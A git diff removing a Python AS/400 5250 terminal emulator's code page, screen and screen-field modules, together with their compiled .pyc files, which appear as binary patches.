- -class CodePage: #CodePage class. - def __init__(self,codePage=None): #Constructor. - if codePage: - self.setCodePage(codePage) - else: - self.setCodePage(37) - - def setCodePage(self,codePage): - self.ascii = {} - self.ebcdic = {} - if codePage == 37: - cp = codePage37 - else: - cp = codePage37 - cpi = 0 - while cpi < 256: - self.ebcdic[cpi] = cp[cpi] - self.ascii[cp[cpi]] = cpi - cpi += 1 - - def getEBCDIC (self,index): - return self.ascii[index] - - def getEBCDICChar (self,index): - return chr(self.ascii[index]) - - def getASCII (self,index): - return self.ebcdic[index] - - def getASCIIChar (self,index): - return chr(self.ebcdic[index]) - - def ebcdic2uni (self,index): - return self.getASCIIChar(index) - - def uni2ebcdic (self,index): - return self.getEBCDICChar(ord(index)) \ No newline at end of file diff --git a/as400/CodePage.pyc b/as400/CodePage.pyc deleted file mode 100644 index 3b3a13d7de5b48e97edf638b1f039e70f07648c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5100 zcmeI#d6XPQ9l-JGncYct$dUvQjd+wIWDxdX;u4eyB$E{aVGXkh$D)j#>6)D;Gu@N! znoSlrDkgyU4IZcniuVmFo_OE)ed2xJqIe&_Z_UgmZ+QGx1U$j-BtDLUsYH2 zW^WtJUvujvo2#n#@sv7U%4tyul$sJfHSMV>PX!q@l~F;TH0Cysd?^mhCV$%Gx1=V}HrCZRnlXvhep(Gf4w$XgAgpRX3VKC3=+5R# ziSeye+d8YyHc@13U7t0qH^uF!YG!qDbhJ1$IyQ9T$@x;RcD5y5_r^2y1#aZcFb*nxw~Jy|$6Yr*I_DzKh4UTMct(ofC;~T_CCT6KP{Ilv~rT zVyb<~#7gU$YPQ|2xJz5JwjM{)t|YUS7*Z;orn+I$RClu?IZJJvNK-#*ZW} zxm6jpO~ZO!Xc{KkcPLi5e$MeDNvGU^v=&Xv$V$pqkLhaNPyDL%BtcmnN0PWOGAA%J z62Xj-St2!JIaPDbm>`ti-OvRxZS;;f35Iqgerq^y7t7@B&A(8}DwJudLYbB-%)(1y z0Iq;1!VBS<@GLk4mcSq!3QJ)bEQiD3aCjM94s;z}3HN~&@H}`n+z;*#4}b^4li)IV zGVBIGG-{4d5Y4{9$5);mnB76^Sg*U^+@JhG=-UY9N*T6gB zeeizx09*u*g}17r}8E__SfH%RP;db~F+y;MvU2qnh4IAMc zn1DyaCO8+$@NW1g{0sgL|A7C(W8kka37cUHoCoK_1#lru!Q0`h@OAhyd6h2--c@i=9~LuL^7BXrp!Hd^u_G)dt`TaJNh0uDEoLu zQRtTq-4$}O<-5Wn+45aMYUNyEKn06jA+O4lg#l@|N-w=XhAQQ0nDbO}q?%Jormd8B zd&-LjyT9d4g5MIyWPyqk?x8GrQnZKAfU&)$+?}_5?qH+lR{3i8Eu$a@l_Nb$N+T`V z;7w{rY&2FJ8y)GjFf1F}VmV)_gi&ZK71EsM1m)$tWf>Pe?epiNpOJz*lM;GmzTj~W z685%?N>(bHQM)oK%5@8pyBe)yStfEflrA)P zBViPnod+<6Otooa$JdqCZz!#oA1U{y_Qt_ImN>p#u$@rcxUG=M){BNZoov*T1yPmB z8#b`SEsS8l(^6g{waa%e z7@Ft>LrPd=7X~z+5)wE+U-lUzre1le@c$=;q3k>##dhS@_JvW*r{(bZD6E?;639NW z5Nw%1-K3HC&AS(q1XJw9#fsdGX`;a7=q^%`-!zqqd#WpyW*oE|{N$;gkQd~#d%RtO zsN*6lA4-XQm6yR`!rp1@N_VwDmZgef6G~|z=Pk(%3=U*_--&`-hq&h8OSR5582BgA`;3I`~pe4(=f@)tx1k7a6-qs8oWuDl2oR>^B self.screenLength - 1: - self.lastPos = self.lastPos - self.screenLength - - def moveTo(self,row,column): - """ - This routine is based on offset 1,1 not 0,0 it will translate to - offset 0,0 and call the goto_XY(int pos) it is mostly used from - external classes that use the 1,1 offset - """ - self.moveToPos(((row - 1) * self.numCols) + (column-1)) - - def moveToPos(self,pos): - self.lastPos = pos - - def addField(self,attr,fLength,ffw0,ffw1,fcw1,fcw2): - self.lastAttr = attr - self.textPlane[self.lastPos] = 0 - self.attrPlane[self.lastPos] = attr - self.changePos(1) - pos = self.lastPos - sf = self.screenFields.setField(attr,self.getCurrentRow(), \ - self.getCurrentCol(),fLength,ffw0,ffw1,fcw1,fcw2) - #print sf.toString() - # now lets initialize the planes for the field - while fLength > 0: - if self.textPlane[pos] == 0: - self.textPlane[pos] = ' ' - self.attrPlane[pos] = attr - else: - self.attrPlane[pos] = attr - pos +=1 - fLength -=1 - spos = self.lastPos - self.lastPos = pos - self.setAttr(initAttr) - self.lastAttr = attr - self.lastPos = spos - - def setAttr(self,attr): - """ - This routine is used to set attributes in the Attribute Plane - """ - # print chr(char), ' at ' , self.getCurrentRow(), - # ' , ' , self.getCurrentCol() - self.lastAttr = attr - self.attrPlane[self.lastPos] = attr - self.changePos(1) - pos = self.lastPos - while pos < self.screenLength and self.attrPlane[pos] != \ - self.lastAttr: - self.attrPlane[pos] = self.lastAttr - pos += 1 - - def setChar(self,char): - """ - This routine is used to place characters into the Text Plane - """ - if char > 0x0 and char < ' ': - self.textPlane[self.lastPos] = ' ' - self.attrPlane[self.lastPos] = 33 - else: - self.textPlane[self.lastPos] = char - self.changePos(1) - - def clearAll(self): - self.lastPos = 0 - self.lastAttr = 0x32 - self.clearFFT() - self.clearPlanes() - - def clearFFT(self): - self.screenFields.clearFFT() - self.pendingInsert = 0 - self.homePos = -1 - - def clearPlanes(self): - x = 0 - # clear Text Plane - while x < self.screenLength: - self.textPlane[x] = ' ' - x += 1 - x = 0 - # clear Attribute Plane - while x < self.screenLength: - self.attrPlane[x] = self.lastAttr - x += 1 - - def getFields(self): - """ - return an object of Fields contained on the presentation space. - """ - return self.screenFields - - def getPlaneData(self,row,column,endRow,endCol,whichPlane): - loop = 0 - start = ((row - 1) * self.numCols) + (column-1) - end = ((endRow - 1) * self.numCols) + (endCol-1) - length = end - start - if whichPlane == 1: # Text Plane - plane = '' - indices = range(start,start + length) - for idx in indices: - c = self.textPlane[idx] - if c < ' ': - plane += ' ' - else: - plane += c - return plane - elif whichPlane == 2: # Attribute Plane - return self.attrPlane[start:start + length] - - def setVT(self,vt): - """ Set the virtual terminal associated with the screen """ - self.vt = vt - - def sendAidKey(self,aid): - """ Send the aid key to the virtual terminal """ - self.vt.sendAidKey(aid) - - def getPos(self,row,col): - """ Return a position integer from a passed row and column """ - return (row * self.numCols) + col - - def getRow(self,pos): - """ Return row associated to a position """ - row = pos / self.numCols - if row < 0: - row = self.lastPos / self.numCols - if row > (self.screenLength - 1): - row = self.screenLength - 1 - return row; - - def getCol(self,pos): - """ Return col associated to a position """ - col = pos % self.numCols - if col > 0: - return col - else: - return 0 - - def gotoFieldItem(self,item): - """ Move the screen cursor position to the field item """ - sizeFields = self.screenFields.getCount() - if item > sizeFields or item < 0: - return 0 - self.screenFields.setCurrentField(self.screenFields.getItem(item-1)) - while self.screenFields.isCurrentFieldBypassField() and item < sizeFields: - self.screenFields.setCurrentField(self.screenFields.getItem(item)) - item += 1 - return self.gotoField(self.screenFields.getCurrentField()) - - def gotoField(self,f): - if f != None: - self.moveToPos(f.startPos) - return 1 - else: - return 0 - - def setPendingInsert(self, flag, icX, icY): - self.pendingInsert = flag - if self.pendingInsert: - self.homePos = self.getPos(icX,icY) - - def goHome(self): - """ - now we try to move to first input field according to - 14.6 WRITE TO DISPLAY Command - - If the WTD command is valid, after the command is processed, - the cursor moves to one of three locations: - - The location set by an insert cursor order (unless control - character byte 1, bit 1 is equal to B'1'.) - - The start of the first non-bypass input field defined in the - format table - - A default starting address of row 1 column 1. - """ - if self.pendingInsert: - self.moveTo(self.getRow(self.homePos),self.getCol(self.homePos)) - self.isInField() ## we now check if we are in a field - else: - if not self.gotoFieldItem(1): - self.homePos = self.getPos(1,1); - self.moveTo(1,1); - self.isInField(row=0,col=0); ## we now check if we are in a field - else: - self.homePos = self.getPos(self.getCurrentRow(),self.getCurrentCol()) - - def isInField(self,pos=None,row=None,col=None,chgToField=None): - if chgToField == None: - chgToField = 1 - else: - chgToField = 0 - if row != None: - pos = (row * self.numCols) + col - if pos == None: - pos = self.lastPos - return self.screenFields.isInField(pos,chgToField) diff --git a/as400/Screen5250.pyc b/as400/Screen5250.pyc deleted file mode 100644 index f61e22dcfaa69df4c60d3ee6a6d6ff66344cda92..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9462 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 diff --git a/as400/ScreenField.py b/as400/ScreenField.py deleted file mode 100644 index a6435b5..0000000 --- a/as400/ScreenField.py +++ /dev/null @@ -1,190 +0,0 @@ -""" -ScreenField object -Created by Kenneth J. Pouncey 2002-05-23 -""" -import Screen5250 - -__all__ = ["SessionField"] - -# Tunable parameters -DEBUGLEVEL = 0 - -class ScreenField: - """Session Field interface class. """ - def __init__(self,screen): - """Constructor. """ - self.debuglevel = DEBUGLEVEL - self.screen = screen - - def set_debuglevel(self, debuglevel): - """Set the debug level. - The higher it is, the more debug output you get (on sys.stdout). - """ - self.debuglevel = debuglevel - - def setField(self,attr,row,col,len,ffw1,ffw2,fcw1,fcw2): - """ Set the field attributes """ - self.length = len - self.startPos = (row * self.screen.getCols()) + col - self.endPos = self.startPos + len -1 - self.cursorProg = 0 - self.fieldId = 0 - self.attr = attr - self.setFFWs(ffw1,ffw2) - self.setFCWs(fcw1,fcw2) - self.next = None - self.prev = None - return self - - def getAttr(self): - return self.attr - - def getHighlightedAttr(self): - return self.fcw2 | 0x20 - - def getLength(self): - return self.length - - def setFFWs(self,ffw1,ffw2): - self.ffw1 = ffw1; - self.ffw2 = ffw2; - self.mdt = (ffw1 & 0x8 ) == 0x8; - return self.mdt; - - def setFCWs(self,fcw1,fcw2): - self.fcw1 = fcw1; - self.fcw2 = fcw2; - if (fcw1 == 0x88): - self.cursorProg = fcw2; - - def getFFW1(self): - return self.ffw1 - - def getFFW1(self): - return self.ffw2 - - def getFCW1(self): - return self.ffc1 - - def getFCW1(self): - return self.ffc2 - - def getFieldLength(self): - return self.length - - def getFieldId(self): - return self.fieldId - - def setFieldId(self,fi): - self.fieldId = fi - - def getCursorProgression(self): - return self.cursorProg - - def getCursorRow(self): - return cursorPos / self.screen.getCols(); - - def getCursorCol(self): - return cursorPos % self.screen.getCols(); - - def changePos(self,i): - self.cursorPos += i - - def getText(self): - start = self.startPos - text = [] - while start <= self.endPos: - text.append(self.screen.textPlane[start]) - start += 1 - return text - - def setString(self,text): - start = self.startPos - for x in text: - self.screen.textPlane[start] = x - start += 1 - self.mdt = 1 - self.screen.notify_screen_listeners(0) - - def setFieldChar(self,c): - x = self.length - self.cursorPos = self.startPos - while x > 0: - self.screen.textPlane[cursorPos] = c - self.changePos(1) - x -= 1 - - def resetMDT(self): - self.mdt = 0 - - def setMDT(self): - self.mdt = 1 - - def isBypassField(self): - return (self.ffw1 & 0x20) == 0x20 - - def getAdjustment(self): - return (self.ffw2 & 0x7) - - def isFER(self): - return (self.ffw2 & 0x40) == 0x40 - - def isMandatoryEnter(self): - return (self.ffw2 & 0x8) == 0x8 - - def isToUpper(self): - return (self.ffw2 & 0x20) == 0x20 - - def getFieldShift(self): - """ - return bits 5 - 7 of FFW1 which holds the shift adjustment - of the field - """ - return (self.ffw1 & 0x7) - - def isHighlightedEntry(self): - return (self.fcw1 == 0x89) - - def isAutoEnter(self): - return (self.ffw2 & 0x80) == 0x80 - - def isSignedNumeric(self): - return (self.getFieldShift() == 7) - - def getKeyPosRC(self,row1,col1): - x = ((row1 * self.screen.getCols()) + col1); - y = x - self.startPos; - self.cursorPos = x; - return y; - - def getKeyPos(self, pos): - y = self.pos - self.startPos - self.cursorPos = pos - return y - - def getCurrentPos(self): - return self.cursorPos - - def withinField(self,pos): - if (pos >= self.startPos) and (pos <= self.endPos): - return 1 - return 0 - - def startPos(self): - return self.startPos - - def startRow(self): - return self.startPos / self.screen.getCols() - - def startCol(self): - return self.startPos % self.screen.getCols() - - def endPos(self): - return self.endPos - - def toString(self): - return 'startRow =', self.startRow(), 'startCol =',self.startCol(), \ - 'length =',self.length,'ffw1 = ',self.ffw1,'ffw2 = ',self.ffw1, \ - 'is bypass field',self.isBypassField(),'isAutoEnter', \ - self.isAutoEnter(),'is Mandatory Enter',self.isMandatoryEnter(), \ - 'modified',self.mdt \ No newline at end of file diff --git a/as400/ScreenField.pyc b/as400/ScreenField.pyc deleted file mode 100644 index 12ecb0f3aefa9c7d32751b5fadaa891abfc75af6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8444 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 0 and sb[len2] < ' ': - sb = sb[:-1] - len2 -= 1 - if sf.isSignedNumeric() and len(sb) > 0 and sb[-1] == '-': - isSigned = 1 - len3 = len(sb) - if len3 > 0 or (readType == CMD_READ_MDT_FIELDS or \ - readType == CMD_READ_MDT_IMMEDIATE_ALT): - if len3 > 0 or (readType == CMD_READ_MDT_FIELDS or \ - readType == CMD_READ_MDT_IMMEDIATE_ALT): - boasp.append(17) - boasp.append(sf.startRow() + 1) - boasp.append(sf.startCol() + 1) - k = 0 - while k < len3: - if sb[k] < ' ': - boasp.append(codePage.uni2ebcdic(' ')) - else: - if isSigned and k == len3 -1: - boasp.append(0xd0 | (0x0f & c)) - else: - boasp.append(ord(codePage.uni2ebcdic(sb[k]))) - k +=1 - - def __getitem__(self,i): - if i < self.sizeFields: - return self.screenFields[i] - else: - raise IndexError - - def getItem(self,i): - if i < self.sizeFields: - return self.screenFields[i] - else: - raise IndexError - - def getCount(self): - """ Return the number of fields in the current field plane """ - return self.sizeFields - - def isInField(self, pos, chgToField): - for sf in self.screenFields: - if sf.withinField(pos): - if chgToField: - self.currentField = sf - return 1 - return 0 \ No newline at end of file diff --git a/as400/ScreenFields.pyc b/as400/ScreenFields.pyc deleted file mode 100644 index c67db131888aab22e2ee90e182db1321c8e3c782..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5634 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 